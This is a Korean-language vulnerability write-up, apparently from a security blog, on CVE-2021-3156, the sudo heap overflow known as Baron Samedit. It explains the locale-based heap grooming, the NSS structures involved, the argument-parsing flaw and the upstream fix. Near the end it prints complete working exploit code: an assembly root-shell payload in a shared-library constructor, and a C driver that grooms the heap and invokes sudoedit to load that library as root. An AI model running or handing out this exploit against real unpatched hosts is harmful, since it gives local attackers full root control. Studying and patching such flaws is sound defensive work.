취약점 유형 | Privilege Escalation |
CVSS 점수 | 7.8 |
취약점 공개 날짜 | 2021-01-26 |
로컬 공격자는 sudo의 명령줄 인수의 구문 분석 방식에서의 heap-based buffer overflow 취약점을 이용하여 공격에 성공하면, 계정의 패스워드 인증 없이 sudo 명령어를 실행하여 권한 상승이 가능하다.
해당 취약점은 2011년 7월부터 9년이 넘는 기간 동안 존재해왔다.
패치 전 코드
sudoedit -s /
$ sudo apt install sudo=1.8.31-1ubuntu1
setlocale 함수가 empty string으로 호출되면, nl_find_locale 함수에서 찾은 LC* 환경변수가 입력 인자로 사용된다. locale 이름을 구하기 전에는 카테고리에 해당하는 LC_ALL, LC_<CATEOGRY_NAME>, LANG 환경변수와 일치하는지 확인하고, 카테고리가 설정되지 않았으면 "C" locale이 사용된다. locale 이름이 "C"인 경우, _nl_find_locale 함수는 힙을 건드리지 않고 해당 locale 이름을 반환한다.
mask = _nl_explode_name(loc_name, &language, &modifier, &territory, &codeset, &normalized_codeset);
mask는 인자로 준 locale name이 있을 경우 플래그가 mask로 저장된다.
_nl_make_l10nflist 함수는 주어진 locale name에 대한 카테고리가 로드되었는지 체크하는데, 그 전에 해당 full locale name를 위해 malloc으로 힙에 할당된다. 만약 리스트에 있거나 한 번만 호출되면, free되고 리턴된다.
만약 로드된 리스트에 없으면, a _nl_make_l10nflist 함수가 호출되어 가능한 조합과 카테고리 이름으로부터 가능한 모든 경로 (base directory: /usr/lib/locale)를 만들고, 재귀적으로 이 자기 자신을 호출하면서 이 과정을 반복한다.
이 과정에서 malloc과 free가 반복된다.
locale에 part가 많을수록, malloc과 free 횟수가 늘어난다.
LC_COLLATE, LC_CTYPE, LC_MESSAGES, LC_MONETARY, LC_NUMERIC and LC_TIME are defined to accept an additional field "@modifier ", which allows the user to select a specific instance of localisation data within a single category (for example, for selecting the dictionary as opposed to the character ordering of data). The syntax for these environment variables is thus defined as:
[language[_territory][.codeset][@modifier]]
이때 @modifier 를 통해 환경변수 사이즈를 제어할 수 있다.
큰 free chunk를 만들고 싶으면, LC_ 환경변수의 modifier 길이*를 조절하면 된다.
/* Make a copy of locale name. */
if (newname[0] != _nl_C_name)
{
newname[0] = __strdup (newname[0]);
if (newname[0] == NULL)
goto abort_single;
}
/* Create new composite name. */
composite = new_composite_name (category, newname);
if (composite == NULL)
{
if (newname[0] != _nl_C_name)
free ((char *) newname[0]);
/* Say that we don't have any data loaded. */
abort_single:
newname[0] = NULL;
}
이후 _nl_find_locale 함수는 생성된 경로에서 locale 데이터를 하나씩 로딩한다. 유효한 locale 데이터를 찾으면, 데이터가 리턴되고 setlocale 함수는 주어진 loclae 이름을 내부적으로 저장한다.
에러가 발생하면, setlocale 함수는 모든 저장된 이름을 free하고 디폴트로 사용하는 "C"를 리턴한다.
따라서 locale name은 랜덤일 수 없고, language와 codeset은 유효해야만 한다.
모든 카테고리 이름에 대해 데이터가 로드되었으면, LC_ALL은 new_composite_name 함수에 생성된다.
모든 LC 이름이 동일하면, 첫 번째 LC에서 값을 가져온다.
모든 LC 이름이 다르다면 모든 LC 이름에서 값이 조합된다. (예. LC_CTYPE=C;LC_NUMERIC=C.UTF-8;. ..)
유효하지 않은 LC 카테고리 이름을 여러 개 준다면, LC_ALL은 "C" 값을 갖게 되고 setlocale은 LC_ALL이 "C"이므로 _nl_find_locale 함수는 힙을 건들이지 않고 해당 locale 이름을 반환한다. 따라서 해제되었된 모든 free chunk를 사용할 수 있게 된다.
LC_* 환경변수에서의 free chunk들을 이용해서 service_user object를 overwrite 할 수 있다. (service_user 객체의 name 필드를 overwrite하여 원하는 라이브러리 로딩하는데 사용)
// src/sudo.c
int
main(int argc, char *argv[], char *envp[])
{
int nargc, ok, status = 0;
char **nargv, **env_add;
char **user_info, **command_info, **argv_out, **user_env_out;
struct sudo_settings *settings;
struct plugin_container *plugin, *next;
sigset_t mask;
debug_decl_vars(main, SUDO_DEBUG_MAIN)
initprogname(argc > 0 ? argv[0] : "sudo");
/* Crank resource limits to unlimited. */
unlimit_sudo();
/* Make sure fds 0-2 are open and do OS-specific initialization. */
fix_fds();
os_init(argc, argv, envp);
setlocale(LC_ALL, "");
sudo의 main 함수 초기에 setlocale(LC_ALL, "")을 호출한다. 따라서 이때 service_table의 첫 번째 entry와 두 번째 entry 사이에 0x2100 오프셋이 있는 것으로, 이 사이에 free chunk들을 만들어놓으면, set_cmnd에서 user_args를 이 free chunk에 할당하여 service_user 구조체의 name 필드를 heap overflow를 이용하여 overwrite 할 수 있다.
validated = sudoers_lookup(snl, sudo_user.pw, &cmnd_status, pwflag);
if (ISSET(validated, VALIDATE_ERROR)) {
/* The lookup function should have printed an error. */
goto done;
}
sudoers_policy_main에서 set_cmnd 함수 호출 이후 sudoers group에서 user를 찾기 위해 sudoers_lookup함수를 호출하고 특정 명령어를 실행하는 것이 허용되는지 확인한다. sudo는 __nss_database_lookup을 통해 필요한 데이터베이스와 서비스를 찾아본다. (host name, service name, user account 등과 같은 데이터베이스)
/* -1 == database not found
0 == database entry pointer stored */
int
__nss_database_lookup2 (const char *database, const char *alternate_name,
const char *defconfig, service_user **ni)
{
/* Prevent multiple threads to change the service table. */
__libc_lock_lock (lock);
/* Reconsider database variable in case some other thread called
`__nss_configure_lookup' while we waited for the lock. */
if (*ni != NULL)
{
__libc_lock_unlock (lock);
return 0;
}
/* Are we initialized yet? */
if (service_table == NULL)
/* Read config file. */
service_table = nss_parse_file (_PATH_NSSWITCH_CONF);
/* Test whether configuration data is available. */
if (service_table != NULL)
{
/* Return first `service_user' entry for DATABASE. */
name_database_entry *entry;
/* XXX Could use some faster mechanism here. But each database is
only requested once and so this might not be critical. */
for (entry = service_table->entry; entry != NULL; entry = entry->next)
if (strcmp (database, entry->name) == 0)
*ni = entry->service;
if (*ni == NULL && alternate_name != NULL)
/* We haven't found an entry so far. Try to find it with the
alternative name. */
for (entry = service_table->entry; entry != NULL; entry = entry->next)
if (strcmp (alternate_name, entry->name) == 0)
*ni = entry->service;
}
service 구조체를 ni 변수에 할당하고, 서비스 구조와 필요한 함수 이름을 __nss_lookup_function에 전달한다.
void *
__nss_lookup_function (service_user *ni, const char *fct_name)
{
void **found, *result;
...
#if !defined DO_STATIC_NSS || defined SHARED
/* Load the appropriate library. */
if (nss_load_library (ni) != 0)
/* This only happens when out of memory. */
goto remove_from_tree;
if (ni->library->lib_handle == (void *) -1l)
/* Library not found => function not found. */
result = NULL;
else
{
/* Get the desired function. */
size_t namlen = (5 + strlen (ni->name) + 1
+ strlen (fct_name) + 1);
char name[namlen];
/* Construct the function name. */
__stpcpy (__stpcpy (__stpcpy (__stpcpy (name, "_nss_"),
ni->name),
"_"),
fct_name);
/* Look up the symbol. */
result = __libc_dlsym (ni->library->lib_handle, name);
}
...
/* Remove the lock. */
__libc_lock_unlock (lock);
return result;
}
서비스에 상응하는 모듈이 이미 로딩되었으면 __nss_lookup_function 함수는 바로 함수이름을 구성하고 __libc_dlsym 호출을 통해 공유 객체에서 심볼을 찾아본다.
static int
nss_load_library (service_user *ni)
{
...
if (ni->library->lib_handle == NULL)
{
/* Load the shared library. */
size_t shlen = (7 + strlen (ni->name) + 3
+ strlen (__nss_shlib_revision) + 1);
int saved_errno = errno;
char shlib_name[shlen];
/* Construct shared object name. */
__stpcpy (__stpcpy (__stpcpy (__stpcpy (shlib_name,
"libnss_"),
ni->name),
".so"),
__nss_shlib_revision);
// load shared object to memory
ni->library->lib_handle = __libc_dlopen (shlib_name);
서비스에 상응하는 모듈이 로딩되지 않았으면(service_library 구조체의 lib_handle 필드가 NULL이면) 모듈 이름 구성 후 __nss_lookup_function()은 nss_load_library를 호출한다. nss_load_library() 내부에서 __libc_dlopen_mode() 호출로 메모리에 공유 라이브러리를 로드한다.
이후 __nss_lookup_function()로 리턴 후 함수 이름을 구성하고 __lib_dlsym() 함수 호출을 통해 로드된 공유 라이브러리에서 심볼을 찾아본다.
typedef struct name_database
{
/* List of all known databases. */
name_database_entry *entry;
/* List of libraries with service implementation. */
service_library *library;
} name_database;
typedef struct name_database_entry
{
/* And the link to the next entry. */
struct name_database_entry *next;
/* List of service to be used. */
service_user *service;
/* Name of the database. */
char name[0];
} name_database_entry;
typedef struct service_user
{
/* And the link to the next entry. */
struct service_user *next;
/* Action according to result. */
lookup_actions actions[5];
/* Link to the underlying library object. */
service_library *library;
/* Collection of known functions. */
void *known;
/* Name of the service (`files', `dns', `nis', ...). */
char name[0];
} service_user;
typedef struct service_library
{
/* Name of service (`files', `dns', `nis', ...). */
const char *name;
/* Pointer to the loaded shared library. */
void *lib_handle;
/* And the link to the next entry. */
struct service_library *next;
} service_library;
위의 4개의 구조체는 데이터베이스와 서비스를 찾아보는데 사용된다.
첫 번째와 두 번째 service 사이에는 0x2100 크기의 공간이 있다. 첫 번째와 두 번째 데이터베이스 사이에 LC_* 환경변수 파일이름에 대한 할당과 해제가 이루어지면, 해제된 영역에 user_args를 할당하고, heap overflow를 사용하여 name 필드(files)를 overwrite 할 수 있다.
int main(int argc, char *argv[], char *envp[])
{
int nargc, ok, status = 0;
char **nargv, **env_add;
char **user_info, **command_info, **argv_out, **user_env_out;
const char * const allowed_prognames[] = { "sudo", "sudoedit", NULL };
struct sudo_settings *settings;
struct plugin_container *plugin, *next;
sigset_t mask;
debug_decl_vars(main, SUDO_DEBUG_MAIN)
...
/* Parse command line arguments. */
sudo_mode = parse_args(argc, argv, &nargc, &nargv, &settings, &env_add);
sudo_debug_printf(SUDO_DEBUG_DEBUG, "sudo_mode %d", sudo_mode);
571 if (ISSET(mode, MODE_RUN) && ISSET(flags, MODE_SHELL)) {
572 char **av, *cmnd = NULL;
573 int ac = 1;
...
581 cmnd = dst = reallocarray(NULL, cmnd_size, 2);
...
587 for (av = argv; *av != NULL; av++) {
588 for (src = *av; *src != '\0'; src++) {
589 /* quote potential meta characters */
590 if (!isalnum((unsigned char)*src) && *src != '_' && *src != '-' && *src != '$')
591 *dst++ = '\\';
592 *dst++ = *src;
593 }
594 *dst++ = ' ';
595 }
...
600 ac += 2; /* -c cmnd */
...
603 av = reallocarray(NULL, ac + 1, sizeof(char *));
...
609 av[0] = (char *)user_details.shell; /* plugin may override shell */
610 if (cmnd != NULL) {
611 av[1] = "-c";
612 av[2] = cmnd;
613 }
614 av[ac] = NULL;
615
616 argv = av;
617 argc = ac;
618 }
sudo의 main 함수에서 policy_check() 호출로 policy_check() → sudoers_policy_check() → sudoers_policy_main() → set_cmnd() 과정으로 set_cmnd() 함수가 호출된다.
/* src/sudo.c */
static void
policy_check(int argc, char * const argv[],
char *env_add[], char **command_info[], char **argv_out[],
char **user_env_out[])
{
const char *errstr = NULL;
int ok;
debug_decl(policy_check, SUDO_DEBUG_PCOMM);
if (policy_plugin.u.policy->check_policy == NULL) {
sudo_fatalx(U_("policy plugin %s is missing the \"check_policy\" method"),
policy_plugin.name);
}
sudo_debug_set_active_instance(policy_plugin.debug_instance);
ok = policy_plugin.u.policy->check_policy(argc, argv, env_add,
command_info, argv_out, user_env_out, &errstr); // sudoers_policy_check 호출
/* plugins/sudoers/sudoers.c */
int
sudoers_policy_main(int argc, char * const argv[], int pwflag, char *env_add[],
bool verbose, void *closure)
{
char *iolog_path = NULL;
mode_t cmnd_umask = ACCESSPERMS;
struct sudo_nss *nss;
int oldlocale, validated, ret = -1;
debug_decl(sudoers_policy_main, SUDOERS_DEBUG_PLUGIN);
...
/* Find command in path and apply per-command Defaults. */
cmnd_status = set_cmnd();
if (cmnd_status == NOT_FOUND_ERROR)
goto done;
/* plugins/sudoers/sudoers.c (set_cmnd 함수) */
819 if (sudo_mode & (MODE_RUN | MODE_EDIT | MODE_CHECK)) {
...
852 for (size = 0, av = NewArgv + 1; *av; av++)
853 size += strlen(*av) + 1;
854 if (size == 0 || (user_args = malloc(size)) == NULL) {
...
857 }
858 if (ISSET(sudo_mode, MODE_SHELL|MODE_LOGIN_SHELL)) {
...
864 for (to = user_args, av = NewArgv + 1; (from = *av); av++) {
865 while (*from) {
866 if (from[0] == '\\' && !isspace((unsigned char)from[1]))
867 from++;
868 *to++ = *from++;
869 }
870 *to++ = ' ';
871 }
...
884 }
...
886 }
MODE_RUN 또는 MODE_EDIT 또는 MODE_CHECK 조건을 만족하고, MODE_SHELL 또는 MODE_LOGIN_SHELL(sudo -s 옵션 또는 sudo -i 옵션)이면, sudoers_policy_main() 함수 내에서 호출되는 set_cmnd() 함수는 명령어 인자를 heap-based 버퍼인 user_args 에 이어붙인다.
/* plugins/sudoers/sudoers.c (set_cmnd 함수) */
819 if (sudo_mode & (MODE_RUN | MODE_EDIT | MODE_CHECK)) {
...
852 for (size = 0, av = NewArgv + 1; *av; av++)
853 size += strlen(*av) + 1;
854 if (size == 0 || (user_args = malloc(size)) == NULL) {
...
857 }
858 if (ISSET(sudo_mode, MODE_SHELL|MODE_LOGIN_SHELL)) {
...
864 for (to = user_args, av = NewArgv + 1; (from = *av); av++) {
865 while (*from) {
866 if (from[0] == '\\' && !isspace((unsigned char)from[1]))
867 from++;
868 *to++ = *from++;
869 }
870 *to++ = ' ';
871 }
...
884 }
...
886 }
// plugins/sudoers/sudoers.c
819 if (sudo_mode & (MODE_RUN | MODE_EDIT | MODE_CHECK)) {
...
...
858 if (ISSET(sudo_mode, MODE_SHELL|MODE_LOGIN_SHELL)) {
set_cmnd 함수(취약한 코드)에 접근하려면 sudo 실행 시 -e (MODE_EDIT)또는 -l (MODE_CHECK)과 -s(MODE_SHELL) 의 2가지 옵션이 적용되어 있어야 한다.
/* src/parse_args.c */
358 case 'e':
...
361 mode = MODE_EDIT;
362 sudo_settings[ARG_SUDOEDIT].value = "true";
363 valid_flags = MODE_NONINTERACTIVE;
364 break;
...
416 case 'l':
417 if (mode) {
418 if (mode == MODE_LIST)
419 SET(flags, MODE_LONG_LIST);
420 else
421 usage_excl(1);
422 }
423 mode = MODE_LIST;
424 valid_flags = MODE_NONINTERACTIVE|MODE_LONG_LIST;
425 break;
...
460 case 's':
461 sudo_settings[ARG_USER_SHELL].value = "true";
462 SET(flags, MODE_SHELL);
463 break;
...
518 if (argc > 0 && mode == MODE_LIST)
519 mode = MODE_CHECK;
...
532 if ((flags & valid_flags) != flags)
533 usage(1);
sudo 실행 시 -e 옵션(MODE_EDIT)을 설정할 경우 valid_flags에 MODE_NONINTERATIVE 플래그가 설정되고, -l(MODE_CHECK) 옵션을 설정할 경우 valid_flags에서 MODE_NONINTERATIVE, MODE_LONG_LIST 플래그가 설정된다. -s 옵션(MODE_SHELL)이 적용된 경우 flags는 MODE_SHELL 플래그가 설정된다.
이후 flags와 valid_flags 값이 동일하지 않으면 프로그램을 종료하여, -e 또는 -l 옵션과 -s 옵션을 동시에 사용할 수 없다. 따라서 sudo 실행으로는 set_cmnd 함수에서 취약한 코드 진입 조건을 만족하지 못 한다.
/* src/parse_args.c */
127 #define DEFAULT_VALID_FLAGS (MODE_BACKGROUND|MODE_PRESERVE_ENV|MODE_RESET_HOME|MODE_LOGIN_SHELL|MODE_NONINTERACTIVE|MODE_SHELL)
...
242 int
243 parse_args(int argc, char **argv, int *nargc, char ***nargv,
244 struct sudo_settings **settingsp, char ***env_addp)
245 {
...
249 int valid_flags = DEFAULT_VALID_FLAGS;
...
267 proglen = strlen(progname);
268 if (proglen > 4 && strcmp(progname + proglen - 4, "edit") == 0) {
269 progname = "sudoedit";
270 mode = MODE_EDIT;
271 sudo_settings[ARG_SUDOEDIT].value = "true";
272 }
sudoedit로 sudo 실행 시 DEFAULT_VALID_FLAGS 상수에 MODE_SHELL 플래그가 디폴트로 설정되고(249라인), MODE_EDIT 플래그가 설정된다. (269-270라인)
parse_args() 함수
// src/parse_args.c
571 if (ISSET(mode, MODE_RUN) && ISSET(flags, MODE_SHELL)) {
set_cmnd() 함수
// plugins/sudoers/sudoers.c
819 if (sudo_mode & (MODE_RUN | MODE_EDIT | MODE_CHECK)) {
...
...
858 if (ISSET(sudo_mode, MODE_SHELL|MODE_LOGIN_SHELL)) {
parse_args()의 meta character을 처리하는 조건과 set_cmnd 함수에서 meta character을 처리하는 조건이 다르다. MODE_EDIT 또는 MODE_CHECK 플래그를 사용하면 parse_args 함수의 meta character escaping 코드에 진입하지 않을 수 있다.
이 경우에는 parse_args 함수에서 backslash escaping 조건(MODE_RUN, MODE_SHELL)을 만족하지 않으면서 set_cmnd 함수의 첫 번째 조건에서 MODE_EDIT을, 두 번째 조건에서 MODE_SHELL로 조건을 만족하면 취약한 코드에 진입할 수 있다. backslash 하나를 포함하여 set_cmnd 함수에서의 heap overflow 취약점을 발생시킬 수 있다.
#include <stdio.h>
static void __attribute__((constructor)) _init(void){
__asm__ __volatile__(
"movq $105, %rax;" // x86_64 setuid syscall id : 105
"movq $0, %rdi;" // rdi = 0
"syscall;" // setuid(0);
"movq $106, %rax;" // x86_64 setgid syscall id : 106
"movq $0, %rdi;" // rdi = 0
"syscall;" // setgid(0);
"movq $0x3b, %rax;" // rax = 59 (execve x86_64 syscall id)
"movq $0x0068732f6e69622f, %rdi;" // rdi = '/bin/sh\x00' (little endian order)
"pushq %rdi;" // rsp = rdi
"movq %rsp, %rdi;" // rdi = &/bin/sh
"movq $0, %rdx;" // rdx = 0
"movq $0, %rsi;" // rsi = 0
"syscall;" // execve("/bin/sh", 0, 0);
);
}
__asm__ 다음에 나오는 것이 인라인 어셈블리임을 의미
__volatile__ 컴파일러는 최적화나 위치를 옮기지 않고 프로그래머가 입력한 그대로 남겨둔다.
setuid(0); setgid(0); uid와 gid를 0으로 만들어서 root 쉘을 따도록 한다.
pushq %rdi; movq %rsp, %rdi; execve 함수의 첫 번째 인자로는 주소가 와야 하기 때문에 "/bin/sh" 문자열을 바로 rdi 레지스터에 넣지 못 하고 스택에 push해서 rsp 레지스터가 "/bin/sh"가 있는 주소를 가리키게 한 후 rdi 레지스터에 넣는다.
#include <unistd.h> // execve()
#include <string.h> // strcat()
void main(void) {
// 'buf' size determines size of overflowing chunk.
// This will allocate an 0xf0-sized chunk before the target service_user struct.
int i;
char buf[0xf0] = {0};
memset(buf, 'Y', 0xe0);
strcat(buf, "\\");
char* argv[] = {
"sudoedit",
"-s",
buf,
NULL};
// Use some LC_ vars for heap Feng-Shui.
// This should allocate the target service_user struct in the path of the overflow.
char messages[0xe0] = {"LC_MESSAGES=en_GB.UTF-8@"};
memset(messages + strlen(messages), 'A', 0xb8);
char telephone[0x50] = {"LC_TELEPHONE=C.UTF-8@"};
memset(telephone + strlen(telephone), 'A', 0x28);
char measurement[0x50] = {"LC_MEASUREMENT=C.UTF-8@"};
memset(measurement + strlen(measurement), 'A', 0x28);
// This environment variable will be copied onto the heap after the overflowing chunk.
// Use it to bridge the gap between the overflow and the target service_user struct.
char overflow[0x500] = {0};
memset(overflow, 'X', 0x4cf);
strcat(overflow, "\\");
// Overwrite the 'files' service_user struct's name with the path of our shellcode library.
// The backslashes write nulls which are needed to dodge a couple of crashes.
char* envp[] = {
overflow,
"\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\",
"XXXXXXX\\",
"\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\",
"\\", "\\", "\\", "\\", "\\", "\\", "\\",
"x/x\\",
"Z",
messages,
telephone,
measurement,
NULL};
// Invoke sudoedit with our argv & envp.
execve("/usr/bin/sudoedit", argv, envp);
}
Fix potential buffer overflow when unescaping backslashes in user_args. · sudo-project/sudo@1f86385
set_cmnd 함수에서의 잘못된 플래그 체크를 수정했다.
set_cmnd 함수에서 to (user_args)에 from 을 넣기 전 힙 메모리 할당 시 계산한 size와 파라미터로 전달된 문자열 사이즈를 계산하는 조건을 추가하여 heap overflow를 방지하는 코드를 패치했다.
Buffer overflow in command line unescaping
[CVE-2021-3156] Exploiting Sudo heap overflow on Debian 10
CVE-2021-3156: Heap-Based Buffer Overflow in Sudo (Baron Samedit) | Qualys Security Blog
[1day Analysis] CVE-2022-37958 취약점 분석 (0) | 2023.07.25 |
---|---|
CVE-2020-15257 : Docker host escape vulnerability using host networking (0) | 2021.06.30 |
CVE-2021-3493: Kernel Vulnerability in Overlayfs (0) | 2021.05.30 |
CVE-2017-5123 Analysis - Linux Kernel Vulnerability(Privilege Escalation) (0) | 2021.05.09 |